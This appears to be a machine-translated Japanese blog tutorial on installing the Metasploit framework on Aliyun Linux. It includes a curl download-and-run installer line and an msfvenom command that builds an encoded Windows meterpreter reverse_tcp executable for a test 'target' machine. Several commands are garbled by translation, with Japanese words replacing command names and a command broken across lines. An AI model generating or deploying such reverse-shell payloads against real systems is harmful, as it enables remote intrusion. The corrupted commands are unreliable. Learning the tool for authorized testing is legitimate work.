Linuxシステムにmsfをインストールするプロセスの詳細な説明

Linuxシステムにmsfをインストールするプロセスの詳細な説明

または、インストールプロセスを自分で書き留めてください。

私のサーバーシステムはAliyun Linuxです

1.ダウンロードしてインストールする
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall

考えられるエラー: ファイル /etc/pki/rpm-gpg/RPM-GPG-KEY-Metasploit を開けませんでした

それはライブラリのインストールの問題によるものです!
解決:
yum インストール -y epel-release
次に、上記のコマンドを繰り返します。

2. 新しいユーザーを追加してmsfを実行する
adduser msf #msf ユーザーを追加
su msf #msfユーザーに切り替える
cd /opt/metasploit-framework/bin #msf があるディレクトリに切り替えます
./msfコンソール
#今後は msfconsole を起動し、起動時に msf ユーザーに切り替えて、データベースが同期されるようにします。
root ユーザーとして起動すると、データベースは同期されません。
(スタートアップ インデックスはデフォルトですでに構成されています!)
msfconsole を起動するだけです!

#関連コマンド [msf@xxxx root]$ msf
msfbinscan msfconsole msfd msfdb  
msfelfscan msfmachscan msfpescan msfrop  
msfrpc msfrpcd msfupdate msfvenom

# データベースの初期化 [msf@xxxx root]$ msfdb
コマンド:
 initはコンポーネントを初期化します
 reinit コンポーネントを削除して再初期化する
 コンポーネントを削除して停止する
 ステータスチェックコンポーネントステータス
 コンポーネントを開始する
 コンポーネントを停止する
 コンポーネントを再起動します
#テスト:
たとえば、私の仮想ホストはWin2003(ターゲットマシン)です。
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp 
LHOST=msf_ip 
LPORT=4444 -e x86/shikata_ga_nai -f exe > test.exe

注意:エラスティッククラウドサーバIPの場合、LHOSTはイ​​ントラネットで割り当てられたIPに設定する必要があり、パブリックIPは設定できません【この落とし穴に長い間悩まされていました! ! !血を吐く! ! ! ]

ここに画像の説明を挿入

ps: Linux システムに msf フレームワークをインストールする

注文:

http://downloads.metasploit.com/data/releases/metasploit-latest-linux-installer.run を実行します。
chmod 755 metasploit-latest-linux-installer.run
./metasploit-最新-linux-インストーラー.run

実行が終了するまでお待ちください。重要なポイントで Enter キーと Y キーを押すだけです。

要約する

Linux システムに msf をインストールする詳細なプロセスに関するこの記事はこれで終わりです。Linux システムに msf をインストールすることに関するより関連性の高いコンテンツについては、123WORDPRESS.COM の以前の記事を検索するか、以下の関連記事を引き続き参照してください。皆様が今後も 123WORDPRESS.COM をサポートしてくれることを願っています。

以下もご興味があるかもしれません:
  • php-msf ソースコードの詳細な説明
  • システム ストアド プロシージャ sp_MSforeachtable および sp_MSforeachdb の使用手順

<<:  React Native JSIはRNとネイティブ通信のサンプルコードを実装します

>>:  Linux Centos7 に mysql8 をインストールするチュートリアル

推薦する

MySQLがlocalhost経由でデータベースに接続できない問題に対する完璧な解決策

問題:あるサーバー上の PHP プログラムは、localhost アドレス経由でデータベースに接続で...

JavaScript parseInt() と Number() の違いのケーススタディ

学習目標: parseInt() と Number() という 2 つの関数は、文字列をデータ型に変...

react-beautiful-dnd を使用してリスト間のドラッグ アンド ドロップを実装する

目次react-beautiful-dndを選ぶ理由基本的な使い方基本概念使い方使用中に発生した問題...

Nginx の break と last の違いの詳細な分析

まずは違いについて話しましょう最後に、書き換えられたルールは、次の場所と一致させるために書き換えられ...

JavaScript で簡単な計算機を実装する

この記事の例では、参考までに簡単な計算機を実装するためのJavaScriptの具体的なコードを共有し...

Dockerコンテナを外部IPとポートにバインドする方法

Docker を使用すると、外部からコンテナにアクセスしたり、コンテナを相互接続したりすることで、ネ...

AWS無料サーバーアプリケーションとネットワークプロキシ設定チュートリアルの詳細な説明

目次予防必要条件AWSアカウントを申請する仮想マシンの申請と有効化仮想マシンを申請するセキュリティグ...

Windows Server 2019 のインストール (グラフィカル チュートリアル)

Windows Server 2019 は、Microsoft が公式にリリースした最新のサーバー...

純粋な CSS 実装 (スクリプトなし) HTML コマンド スタイルのツールチップ テキスト プロンプト効果

実行プロセスを分析します。マウスをノードに移動して、ノードにツールチップ実装を開くための識別子 (...

Centos7.9 で独立したメール サーバーを構築するための詳細な手順

目次序文1. イントラネットDNS AレコードとMXレコードを構成する2. メールサーバの初期化設定...

SSH接続を介してXshellを使用したUbuntu 20.04で報告されたサービス問題の詳細な説明

1. 最近、Ubuntu の新しいバージョンをインストールしました。/etc/ssh/sshd_co...

CSS3は、Transformを使用して動く2D時計を作成します。

これでtransformコースは終了です。例を見てみましょう。transform transform...

VueにおけるAxios非同期通信の詳細な説明

1. まず、インタラクティブに使用するための .json ファイルを作成します。json データ形式...

MySQL の基本ステートメントを最適化するための 10 の原則の概要

序文データベースの応用において、プログラマーは継続的な実践を通じて多くの経験を積んできました。これら...

vsCodeはワンクリックでvueテンプレートを生成します

1. ショートカットCtrl + Shift + Pを使用してコンソールを呼び出します 2、「スニペ...